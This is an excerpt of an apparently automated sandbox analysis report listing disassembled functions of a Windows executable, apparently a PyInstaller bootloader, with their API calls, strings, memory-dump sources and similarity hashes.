DrawTextW.USER32 ref: 00007FF6404E2185
SelectObject.GDI32 ref: 00007FF6404E219B
ReleaseDC.USER32 ref: 00007FF6404E21AB
MoveWindow.USER32 ref: 00007FF6404E21FB
MoveWindow.USER32 ref: 00007FF6404E223B
MoveWindow.USER32 ref: 00007FF6404E228E
MoveWindow.USER32 ref: 00007FF6404E22D6

Strings

P%, xrefs: 00007FF6404E216F

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: 028f263e58f42d33d872b22938efc015f71aa7b4c996476cfe5add7d8b08dd36
Instruction ID: 0bb270964456ae748b4171e7974fb360b430edc69f1fa457c445cd47c0f1082c
Opcode Fuzzy Hash: 028f263e58f42d33d872b22938efc015f71aa7b4c996476cfe5add7d8b08dd36
Instruction Fuzzy Hash: 9F51E7266187B186D638AF22A4581BAB7A1F798B65F004121EBDE83785DF3CD145CB10

Function 00007FF6404F55A0 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 494COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6404F55E3
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6404F59D0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6404F5C6C

Strings

p, xrefs: 00007FF6404F5695
:, xrefs: 00007FF6404F579C
f, xrefs: 00007FF6404F5705
p, xrefs: 00007FF6404F570D
-, xrefs: 00007FF6404F5679

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$:$f$p$p
API String ID: 3215553584-2013873522
Opcode ID: 6485ef080591767760fe67f9caec812fff4e1ba5c20858478bd9f0fbec74de2f
Instruction ID: b1ffd64a29b30de40f11d6719f3241b881efdfef73416272129fd478e78c3d5b
Opcode Fuzzy Hash: 6485ef080591767760fe67f9caec812fff4e1ba5c20858478bd9f0fbec74de2f
Instruction Fuzzy Hash: 5412B371E0C263E6FB24BA15E04467976ABFB40750F944136E79A87BC4DF7CE9908B08

Function 00007FF6404F02E8 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6404F0328
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6404F06F0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6404F098F

Strings

p, xrefs: 00007FF6404F03CD
f, xrefs: 00007FF6404F0575
p, xrefs: 00007FF6404F0432
f, xrefs: 00007FF6404F03C0
f, xrefs: 00007FF6404F042A

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: 47a7a6303f50c331757a7ed503f6ccc132970c05c2223996d06c8e5714df85c4
Instruction ID: 82c57626d964c7d9075061fb34f581e1ae40eef3a7784c578c79fdee3959bacb
Opcode Fuzzy Hash: 47a7a6303f50c331757a7ed503f6ccc132970c05c2223996d06c8e5714df85c4
Instruction Fuzzy Hash: 35128F62E0C163E6FB24BA54E0546BA729BFBD0754F884132E799C67C4DF7CE8908B50

Function 00007FF6404E1050 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 111COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to read data chunk!, xrefs: 00007FF6404E11D0
fseek, xrefs: 00007FF6404E10CC
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF6404E10F5
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF6404E10C5
Failed to extract %s: failed to open archive file!, xrefs: 00007FF6404E1097
fread, xrefs: 00007FF6404E11D7
malloc, xrefs: 00007FF6404E10FC

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: Message
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2030045667-3659356012
Opcode ID: 9095cb27183a8615287c63e08b54de828af981adc91def897024e347138b7828
Instruction ID: 9dfc91e0b643ff0b8b8168621ef1689b97bd1324d605cd508c8a7474870964f6
Opcode Fuzzy Hash: 9095cb27183a8615287c63e08b54de828af981adc91def897024e347138b7828
Instruction Fuzzy Hash: BA419231B4C663E2FA24FB12A9406BAA391FF89BC4F444431DE5D87BA5DE3CE5458380

Function 00007FF6404E7FC0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 89processsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6404E86B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6404E3FA4,00000000,00007FF6404E1925), ref: 00007FF6404E86E9

SetConsoleCtrlHandler.KERNEL32(?,00007FF6404E39C0), ref: 00007FF6404E800A
GetStartupInfoW.KERNEL32(?,00007FF6404E39C0), ref: 00007FF6404E802B

Part of subcall function 00007FF6404F978C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6404F97A0

Part of subcall function 00007FF6404F7A2C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6404F7A93

GetCommandLineW.KERNEL32(?,00007FF6404E39C0), ref: 00007FF6404E80CD
CreateProcessW.KERNEL32 ref: 00007FF6404E810F
WaitForSingleObject.KERNEL32(?,00007FF6404E39C0), ref: 00007FF6404E8123
GetExitCodeProcess.KERNEL32 ref: 00007FF6404E8133

Strings

CreateProcessW, xrefs: 00007FF6404E8146
Failed to create child process!, xrefs: 00007FF6404E813F

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: Process_invalid_parameter_noinfo$ByteCharCodeCommandConsoleCreateCtrlExitHandlerInfoLineMultiObjectSingleStartupWaitWide
String ID: CreateProcessW$Failed to create child process!
API String ID: 2895956056-699529898
Opcode ID: 2d8580ce5d81a01d0f8683f73fef31206a84e7faf833a053d17f215ed92b6c27
Instruction ID: 47de76dc5fa4126ef7c5004b4db62545672ab9370504d5136caecccf2e9b28ea
Opcode Fuzzy Hash: 2d8580ce5d81a01d0f8683f73fef31206a84e7faf833a053d17f215ed92b6c27
Instruction Fuzzy Hash: EF41FB31A1CB9291EA20BB64E4952AEB2A5FB89364F500335E6AD877D9DF7CD0448B40

Function 00007FF6404EDD28 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF6404EDD85

Part of subcall function 00007FF6404EECDC: __GetUnwindTryBlock.LIBCMT ref: 00007FF6404EED1F
Part of subcall function 00007FF6404EECDC: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF6404EED44

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF6404EDE5D
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF6404EE0AB
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6404EE1B8

Strings

csm, xrefs: 00007FF6404EDE80
csm, xrefs: 00007FF6404EDD9F
csm, xrefs: 00007FF6404EDE06

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: e61afc8d21ba52cdbe611d77afa9c967b031d652e012678c684f0478f5a183c7
Instruction ID: b7835b3a952e6b23f43904783f28ca2b998240ee58df873890d39408928fee2c
Opcode Fuzzy Hash: e61afc8d21ba52cdbe611d77afa9c967b031d652e012678c684f0478f5a183c7
Instruction Fuzzy Hash: 2ED14C32A0CB61DAEB20FB6594403AD77A0FB55798F104235EE8D97B96DF38E581C780

Function 00007FF6404FE020 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF6404FE3BA,?,?,-00000018,00007FF6404FA063,?,?,?,00007FF6404F9F5A,?,?,?,00007FF6404F524E), ref: 00007FF6404FE19C
GetProcAddress.KERNEL32(?,?,?,00007FF6404FE3BA,?,?,-00000018,00007FF6404FA063,?,?,?,00007FF6404F9F5A,?,?,?,00007FF6404F524E), ref: 00007FF6404FE1A8

Strings

ext-ms-, xrefs: 00007FF6404FE0F9
api-ms-, xrefs: 00007FF6404FE0E6

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 400d167c79677b3a1b331b2dd1a2c4ed1cd7dec94f3cf9f9612a621c3bffedbb
Instruction ID: b6910443d84c49c151f59c00ef2200bc76ce80b2dbad949d85a3e33c553a0d70
Opcode Fuzzy Hash: 400d167c79677b3a1b331b2dd1a2c4ed1cd7dec94f3cf9f9612a621c3bffedbb
Instruction Fuzzy Hash: A141E231B1DA22E1FA16FB17AA0467A229BFF45B90F084535DD1DC7784EE3CEA458300

Function 00007FF6404E7C40 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 116COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(?,?,FFFFFFFF,00007FF6404E3834), ref: 00007FF6404E7CE4
CreateDirectoryW.KERNEL32(?,?,FFFFFFFF,00007FF6404E3834), ref: 00007FF6404E7D2C

Part of subcall function 00007FF6404E7E10: GetEnvironmentVariableW.KERNEL32(00007FF6404E365F), ref: 00007FF6404E7E47
Part of subcall function 00007FF6404E7E10: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF6404E7E69

Part of subcall function 00007FF6404F7548: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6404F7561

Part of subcall function 00007FF6404E26C0: MessageBoxW.USER32 ref: 00007FF6404E2736

Strings

_MEI%d, xrefs: 00007FF6404E7CF2
TMP, xrefs: 00007FF6404E7C7C, 00007FF6404E7D83
TMP, xrefs: 00007FF6404E7CA2
LOADER: failed to set the TMP environment variable., xrefs: 00007FF6404E7CBC
LOADER: length of teporary directory path exceeds maximum path length!, xrefs: 00007FF6404E7D5E

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: Environment$CreateDirectoryExpandMessagePathStringsTempVariable_invalid_parameter_noinfo
String ID: LOADER: failed to set the TMP environment variable.$LOADER: length of teporary directory path exceeds maximum path length!$TMP$TMP$_MEI%d
API String ID: 740614611-1339014028
Opcode ID: 9cba264b996c54071923a246639d1af5409d9d1b2208d63368212f3f3054f6c1
Instruction ID: 05379c9ae0fcb58b5ad99494fa2f29691be71f51bb853eeff872209563e4896b
Opcode Fuzzy Hash: 9cba264b996c54071923a246639d1af5409d9d1b2208d63368212f3f3054f6c1
Instruction Fuzzy Hash: 00419121A0D662E0FA24FB619A55AFA2255EF957D4F405131EE1DC7796EE3CE5008380

Function 00007FF6404ECFE8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF6404ED29A,?,?,?,00007FF6404ECF8C,?,?,?,00007FF6404ECB89), ref: 00007FF6404ED06D
GetLastError.KERNEL32(?,?,?,00007FF6404ED29A,?,?,?,00007FF6404ECF8C,?,?,?,00007FF6404ECB89), ref: 00007FF6404ED07B
LoadLibraryExW.KERNEL32(?,?,?,00007FF6404ED29A,?,?,?,00007FF6404ECF8C,?,?,?,00007FF6404ECB89), ref: 00007FF6404ED0A5
FreeLibrary.KERNEL32(?,?,?,00007FF6404ED29A,?,?,?,00007FF6404ECF8C,?,?,?,00007FF6404ECB89), ref: 00007FF6404ED113
GetProcAddress.KERNEL32(?,?,?,00007FF6404ED29A,?,?,?,00007FF6404ECF8C,?,?,?,00007FF6404ECB89), ref: 00007FF6404ED11F

Strings

api-ms-, xrefs: 00007FF6404ED08D

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: ae36e00ef30d4e956021163d7a0c1bae911f6c658fcf96311cd3d9d96979b27c
Instruction ID: 0a577c0a8e8f3bba22f2a6c7fa658903c5fe1a473d615a13009d932257db2ec8
Opcode Fuzzy Hash: ae36e00ef30d4e956021163d7a0c1bae911f6c658fcf96311cd3d9d96979b27c
Instruction Fuzzy Hash: B131C221A1EA62E1EE15FB12A9006797394FF49BA8F5E4635DD2D87380EF3CE4468340

Function 00007FF6404E7B50 Relevance: 10.6, APIs: 7, Instructions: 63COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF6404E7B70
OpenProcessToken.ADVAPI32 ref: 00007FF6404E7B83
GetTokenInformation.ADVAPI32 ref: 00007FF6404E7BA8
GetLastError.KERNEL32 ref: 00007FF6404E7BB2
GetTokenInformation.ADVAPI32 ref: 00007FF6404E7BF2
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF6404E7C0E
CloseHandle.KERNEL32 ref: 00007FF6404E7C26

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID:
API String ID: 995526605-0
Opcode ID: cb4766db9d01b9dd8e968687fe92956989c3d0e6154c1ea64db8f8bdde092e2e
Instruction ID: ac2e215d320ffff1b355f9a19b0d4e3315f0727fb6e3c8e833f686094dd3892a
Opcode Fuzzy Hash: cb4766db9d01b9dd8e968687fe92956989c3d0e6154c1ea64db8f8bdde092e2e
Instruction Fuzzy Hash: 0221A031A0CA5292EB20FB55E58462AB3A5EF917F4F200235EA7C83BE4DF7CD4858740

Function 00007FF6404FA460 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF6404FA46F
FlsGetValue.KERNEL32 ref: 00007FF6404FA484
FlsSetValue.KERNEL32 ref: 00007FF6404FA4A5
FlsSetValue.KERNEL32 ref: 00007FF6404FA4D2
FlsSetValue.KERNEL32 ref: 00007FF6404FA4E3
FlsSetValue.KERNEL32 ref: 00007FF6404FA4F4
SetLastError.KERNEL32 ref: 00007FF6404FA50F

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f1009f36f4b7e41e642a617816a0843c7a4fdcae41be86a1245b23186b7dd2e
Instruction ID: 77a884a90357f97bee4cac1bb6da1c9681f41745507edee62d68497be7733232
Opcode Fuzzy Hash: 4f1009f36f4b7e41e642a617816a0843c7a4fdcae41be86a1245b23186b7dd2e
Instruction Fuzzy Hash: 30219D24F4C662F2FA68B722564917D218BAF887B0F044734E83ECBBD6DE6CB4108701

Function 00007FF6404E29E0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 58windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF6404E342E,?,00007FF6404E3534), ref: 00007FF6404E2A14
FormatMessageW.KERNEL32(?,?,?,00007FF6404E342E), ref: 00007FF6404E2A7D
MessageBoxW.USER32 ref: 00007FF6404E2ACF

Strings

Error, xrefs: 00007FF6404E2ABE
<FormatMessageW failed.>, xrefs: 00007FF6404E2A83
%ls%ls: %ls, xrefs: 00007FF6404E2A96

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: Message$ErrorFormatLast
String ID: %ls%ls: %ls$<FormatMessageW failed.>$Error
API String ID: 3971115935-1149178304
Opcode ID: 7223b30dd23a30c2aa7faf0092ff60e4697deebee1b944f1837b883079aee3ab
Instruction ID: 254e0af54bfeede140830f3e6c79a011187cf6447a103088df4033657765c7e9
Opcode Fuzzy Hash: 7223b30dd23a30c2aa7faf0092ff60e4697deebee1b944f1837b883079aee3ab
Instruction Fuzzy Hash: 2B21517260CAA192F724FB10F5506DA7364FB89788F400136EADD93B98DF7CD5468B40

Function 00007FF64050707C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF6405070AD
GetLastError.KERNEL32 ref: 00007FF6405070B9
CloseHandle.KERNEL32 ref: 00007FF6405070D1
CreateFileW.KERNEL32 ref: 00007FF6405070FC
WriteConsoleW.KERNEL32 ref: 00007FF64050711B

Strings

CONOUT$, xrefs: 00007FF6405070DD

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 274174309ff0e3cf7757a3f5c883333dff1858e51aae267b9afc88cc39a62d3b
Instruction ID: eed7c7beb8184f8e67058d578fdfd354db35fab34eed7f0e391e23ce50bf447a
Opcode Fuzzy Hash: 274174309ff0e3cf7757a3f5c883333dff1858e51aae267b9afc88cc39a62d3b
Instruction Fuzzy Hash: E5118E31A1CA6696F754BB02E99472A66A0FB89BE8F040234EA2DC7794DF3CD814C740

Function 00007FF6404E81F0 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,00000000,?,00007FF6404E39F2), ref: 00007FF6404E821D
K32EnumProcessModules.KERNEL32(?,00000000,?,00007FF6404E39F2), ref: 00007FF6404E827A

Part of subcall function 00007FF6404E86B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6404E3FA4,00000000,00007FF6404E1925), ref: 00007FF6404E86E9

K32GetModuleFileNameExW.KERNEL32(?,00000000,?,00007FF6404E39F2), ref: 00007FF6404E8305
K32GetModuleFileNameExW.KERNEL32(?,00000000,?,00007FF6404E39F2), ref: 00007FF6404E8364
FreeLibrary.KERNEL32(?,00000000,?,00007FF6404E39F2), ref: 00007FF6404E8375
FreeLibrary.KERNEL32(?,00000000,?,00007FF6404E39F2), ref: 00007FF6404E838A

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: FileFreeLibraryModuleNameProcess$ByteCharCurrentEnumModulesMultiWide
String ID:
API String ID: 3462794448-0
Opcode ID: a6a3fb36dedf01dc407d01068d21ba79f730b9d247533213ec4f70efe0ab8627
Instruction ID: 034fac8dac3773cf40ee69d2dac4f5db937848fbfd48adeca7cb6d57e4ecc282
Opcode Fuzzy Hash: a6a3fb36dedf01dc407d01068d21ba79f730b9d247533213ec4f70efe0ab8627
Instruction Fuzzy Hash: B0419272A1DA92D1EA30FB11A5402BA6394FF89BD4F444139DF5D97789DE3CE401C780

Function 00007FF6404E8400 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6404E7B50: GetCurrentProcess.KERNEL32 ref: 00007FF6404E7B70
Part of subcall function 00007FF6404E7B50: OpenProcessToken.ADVAPI32 ref: 00007FF6404E7B83
Part of subcall function 00007FF6404E7B50: GetTokenInformation.ADVAPI32 ref: 00007FF6404E7BA8
Part of subcall function 00007FF6404E7B50: GetLastError.KERNEL32 ref: 00007FF6404E7BB2
Part of subcall function 00007FF6404E7B50: GetTokenInformation.ADVAPI32 ref: 00007FF6404E7BF2
Part of subcall function 00007FF6404E7B50: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF6404E7C0E
Part of subcall function 00007FF6404E7B50: CloseHandle.KERNEL32 ref: 00007FF6404E7C26

LocalFree.KERNEL32(?,00007FF6404E3814), ref: 00007FF6404E848C
LocalFree.KERNEL32(?,00007FF6404E3814), ref: 00007FF6404E8495

Strings

